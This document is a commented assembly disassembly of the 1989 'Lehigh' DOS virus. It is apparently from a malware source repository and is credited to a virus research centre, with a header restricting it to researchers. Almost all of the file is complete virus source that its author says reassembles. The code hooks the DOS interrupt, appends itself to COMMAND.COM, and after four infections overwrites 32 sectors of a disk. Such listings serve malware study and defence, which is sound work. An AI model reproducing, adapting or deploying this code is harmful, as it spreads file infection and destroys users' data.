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https://github.com/vxunderground/MalwareSourceCode
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316 lines
9.9 KiB
NASM
316 lines
9.9 KiB
NASM
page 65,132
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title The 'Lehigh' Virus
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; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
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; º British Computer Virus Research Centre º
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; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
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; º Telephone: Domestic 0273-26105, International +44-273-26105 º
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; º º
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; º The 'Lehigh' Virus º
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; º Disassembled by Joe Hirst, July 1989 º
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; º º
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; º Copyright (c) Joe Hirst 1989. º
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; º º
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; º This listing is only to be made available to virus researchers º
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; º or software writers on a need-to-know basis. º
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; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
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; The disassembly has been tested by re-assembly using MASM 5.0.
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CODE SEGMENT BYTE PUBLIC 'CODE'
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ASSUME CS:CODE,DS:CODE
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; Interrupt 21H routine
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BP0010: PUSH AX
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PUSH BX
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CMP AH,4BH ; Load function?
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JE BP0020 ; Branch if yes
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CMP AH,4EH ; Find file file?
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JE BP0020 ; Branch if yes
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JMP BP0170 ; Pass interrupt on
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; Load or find file function
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BP0020: MOV BX,DX ; Get pathname pointer
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CMP BYTE PTR [BX+1],':' ; Is a disk specified?
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JNE BP0030 ; Branch if not
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MOV AL,[BX] ; Get disk letter
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JMP BP0040
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; Is there a COMMAND.COM on disk?
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BP0030: MOV AH,19H ; Get current disk function
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INT 44H ; DOS service (diverted INT 21H)
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ADD AL,'a' ; Convert to letter
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BP0040: PUSH DS
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PUSH CX
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PUSH DX
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PUSH DI
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PUSH CS ; \ Set DS to CS
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POP DS ; /
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MOV BX,OFFSET PATHNM ; Address pathname
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MOV [BX],AL ; Store disk letter in pathname
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MOV DX,BX ; Move pathname address
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MOV AX,3D02H ; Open handle (R/W) function
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INT 44H ; DOS service (diverted INT 21H)
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JNB BP0050 ; Branch if no error
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JMP BP0160 ; Restore registers and terminate
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; Is COMMAND.COM infected?
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BP0050: MOV BX,AX ; Move file handle
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MOV AX,4202H ; Move file pointer function (EOF)
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XOR CX,CX ; \ No offset
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MOV DX,CX ; /
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INT 44H ; DOS service (diverted INT 21H)
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MOV DX,AX ; Copy file length
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MOV FILELN,AX ; Save file length
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SUB DX,2 ; Address last word of file
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MOV AX,4200H ; Move file pointer function (start)
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INT 44H ; DOS service (diverted INT 21H)
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MOV DX,OFFSET BUFFER ; Address read buffer
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MOV CX,2 ; Length to read
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MOV AH,3FH ; Read handle function
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INT 44H ; DOS service (diverted INT 21H)
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CMP WORD PTR BUFFER,65A9H ; Is file infected?
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JNE BP0060 ; Branch if not
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JMP BP0080
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; Infect COMMAND.COM
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BP0060: XOR DX,DX ; \ No offset
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MOV CX,DX ; /
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MOV AX,4200H ; Move file pointer function (start)
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INT 44H ; DOS service (diverted INT 21H)
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MOV CX,3 ; Length to read
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MOV DX,OFFSET BUFFER ; Address read buffer
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MOV DI,DX ; Copy address
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MOV AH,3FH ; Read handle function
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INT 44H ; DOS service (diverted INT 21H)
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MOV AX,[DI+1] ; Get displacement from initial jump
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ADD AX,0103H ; Convert to address for COM file
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MOV ENTPTR,AX ; Save file entry address
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MOV DX,FILELN ; Get file length
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SUB DX,OFFSET ENDADR ; Subtract length of virus
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DEC DX ; ...and one more
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MOV [DI],DX ; Put offset into jump instruction
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XOR CX,CX ; Clear high offset for move
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MOV AX,4200H ; Move file pointer function (start)
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INT 44H ; DOS service (diverted INT 21H)
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MOV AL,INFCNT ; Get infection count
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PUSH AX ; Preserve infection count
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MOV BYTE PTR INFCNT,0 ; Set infection count to zero
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MOV CX,OFFSET ENDADR ; \ Get length of virus
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INC CX ; /
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XOR DX,DX ; Address start of virus
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MOV AH,40H ; Write handle function
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INT 44H ; DOS service (diverted INT 21H)
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POP AX ; Recover infection count
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MOV INFCNT,AL ; Restore original infection count
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XOR CX,CX ; \ Address second byte of program
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MOV DX,1 ; /
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MOV AX,4200H ; Move file pointer function (start)
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INT 44H ; DOS service (diverted INT 21H)
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MOV AX,[DI] ; Get virus offset
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ADD AX,OFFSET BP0180 ; Add entry point
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SUB AX,3 ; Subtract length of jump instruction
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MOV [DI],AX ; Replace offset
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MOV DX,DI ; Address stored offset
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MOV CX,2 ; Length to write
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MOV AH,40H ; Write handle function
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INT 44H ; DOS service (diverted INT 21H)
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INC BYTE PTR INFCNT ; Increment infection count
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CMP BYTE PTR INFCNT,4 ; Have we reached target?
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JB BP0070 ; Branch if not
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JMP BP0110 ; Trash disk
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; Is disk A or B?
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BP0070: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch
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CMP BYTE PTR CURDSK,2 ; Is current disk A or B?
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JB BP0080 ; Branch if yes
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MOV BYTE PTR N_AORB,1 ; Set on "not A or B" switch
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BP0080: MOV AH,3EH ; Close handle function
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INT 44H ; DOS service (diverted INT 21H)
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CMP BYTE PTR N_AORB,1 ; Is "not A or B" switch on?
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JE BP0090 ; Branch if yes
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JMP BP0160 ; Restore registers and terminate
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; Disk not A or B
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BP0090: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch
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MOV BX,OFFSET PATHNM ; Address pathname
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MOV AL,CURDSK ; Get current disk
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ADD AL,'a' ; Convert to letter
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MOV [BX],AL ; Store letter in pathname
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MOV DX,BX ; Move pathname address
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MOV AX,3D02H ; Open handle (R/W) function
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INT 44H ; DOS service (diverted INT 21H)
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JNB BP0100 ; Branch if no error
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JMP BP0160 ; Restore registers and terminate
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; Set infection count same as in current program
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BP0100: MOV BX,AX
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MOV AX,4202H ; Move file pointer function (EOF)
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XOR CX,CX ; \ No offset
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MOV DX,CX ; /
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INT 44H ; DOS service (diverted INT 21H)
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MOV DX,AX ; \ Address back to infection count
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SUB DX,7 ; /
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MOV AX,4200H ; Move file pointer function (start)
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INT 44H ; DOS service (diverted INT 21H)
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MOV CX,1 ; Length to write
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MOV DX,OFFSET INFCNT ; Address infection count
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MOV AH,40H ; Write handle function
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INT 44H ; DOS service (diverted INT 21H)
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MOV AH,3EH ; Close handle function
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INT 44H ; DOS service (diverted INT 21H)
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JMP BP0160 ; Restore registers and terminate
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; Trash disk
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BP0110: MOV AL,CURDSK ; Get current disk
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CMP AL,2 ; Is disk A or B?
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JNB BP0150 ; Branch if not
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MOV AH,19H ; Get current disk function
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INT 44H ; DOS service (diverted INT 21H)
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MOV BX,OFFSET PATHNM ; Address pathname
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MOV DL,[BX] ; Get drive letter from pathname
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CMP DL,'A' ; Is drive letter 'A'?
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JE BP0120 ; Branch if yes
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CMP DL,'a' ; Is drive letter 'a'?
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JE BP0120 ; Branch if yes
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CMP DL,'b' ; Is drive letter 'b'?
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JE BP0130 ; Branch if yes
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CMP DL,'B' ; Is drive letter 'B'?
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JE BP0130 ; Branch if yes
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JMP BP0160 ; Restore registers and terminate
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; Drive A
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BP0120: MOV DL,0 ; Set drive A
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JMP BP0140
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; Drive B
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BP0130: MOV DL,1 ; Set drive B
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BP0140: CMP AL,DL ; Is this the same as current?
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JNE BP0150 ; Branch if not
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JMP BP0160 ; Restore registers and terminate
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; Write lump of BIOS to floppy disk
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BP0150: MOV SI,0FE00H ; \ Address BIOS (?)
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MOV DS,SI ; /
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MOV CX,0020H ; Write 32 sectors
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MOV DX,1 ; Start at sector one
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INT 26H ; Absolute disk write
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POPF
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MOV AH,9 ; Display string function
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MOV DX,1840H
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INT 44H ; DOS service (diverted INT 21H)
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BP0160: POP DI
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POP DX
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POP CX
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POP DS
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BP0170: POP BX
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POP AX
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JMP CS:INT_21 ; Branch to original Int 21H
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; Original Int 21H vector
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INT_21 EQU THIS DWORD
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DW 138DH ; Int 21H offset
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DW 0295H ; Int 21H segment
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; Entry point for infected program
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BP0180: CALL BP0190 ; \ Get current address
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BP0190: POP SI ; /
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SUB SI,3 ; Address back to BP0180
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MOV BX,SI ; \ Address of virus start
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SUB BX,OFFSET BP0180 ; /
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PUSH BX ; Save address of virus start
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ADD BX,OFFSET FILELN ; Address file length
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MOV AH,19H ; Get current disk function
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INT 21H ; DOS service
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MOV [BX-1],AL ; Save current disk
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MOV AX,[BX] ; Get file length
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ADD AX,0100H ; Add PSP length
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MOV CL,4 ; \ Convert to paragraphs
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SHR AX,CL ; /
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INC AX ; Allow for remainder
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MOV BX,AX ; Copy paragraphs to keep
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MOV AH,4AH ; Set block function
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INT 21H ; DOS service
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JNB BP0200 ; Branch if no error
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JMP BP0220 ; Pass control to host
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; Allocate memory for virus
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BP0200: MOV CL,4 ; Bits to move
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MOV DX,OFFSET ENDADR ; Length of virus
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SHR DX,CL ; Convert to paragraphs
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INC DX ; Allow for remainder
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MOV BX,DX ; Copy paragraphs for virus
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MOV AH,48H ; Allocate memory function
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INT 21H ; DOS service
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JNB BP0210 ; Branch if no error
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JMP BP0220 ; Pass control to host
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; Install virus in memory
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BP0210: PUSH ES
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PUSH AX ; Preserve allocated memory segment
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MOV AX,3521H ; Get Int 21H function
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INT 21H ; DOS service
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MOV [SI-4],BX ; Save Int 21H offset
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MOV [SI-2],ES ; Save Int 21H segment
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POP ES ; Recover allocated memory segment
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PUSH SI
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SUB SI,OFFSET BP0180 ; Address back to start of virus
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XOR DI,DI ; Target start of new area
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MOV CX,OFFSET ENDADR ; \ Length of virus
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INC CX ; /
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REPZ MOVSB ; Copy virus to new area
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POP SI
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PUSH DS
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MOV DX,[SI-4] ; Get Int 21H offset
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MOV AX,[SI-2] ; \ Set DS to Int 21H segment
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MOV DS,AX ; /
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MOV AX,2544H ; Set Int 44H function
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INT 21H ; DOS service
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PUSH ES ; \ Set DS to ES
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POP DS ; /
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XOR DX,DX ; Interrupt 21H routine (BP0010)
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MOV AX,2521H ; Set Int 21H function
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INT 44H ; DOS service (diverted INT 21H)
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POP DS
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POP ES
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BP0220: POP BX
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PUSH ENTPTR[BX] ; Push COM file entry address
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RET ; ...and return to it
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PATHNM DB 'b:\command.com', 0 ; Pathname
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BUFFER DB 7FH, 58H, 0BH, 0, 0 ; Read buffer
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ENTPTR DW 0CB0H ; File entry address
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N_AORB DB 0 ; "Not A or B" switch
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INFCNT DB 0 ; Infection count
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DB 0
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CURDSK DB 0 ; Current disk
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FILELN DW 5AAAH ; File length
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DW 65A9H ; Infection indicator
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ENDADR EQU $-1
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CODE ENDS
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END
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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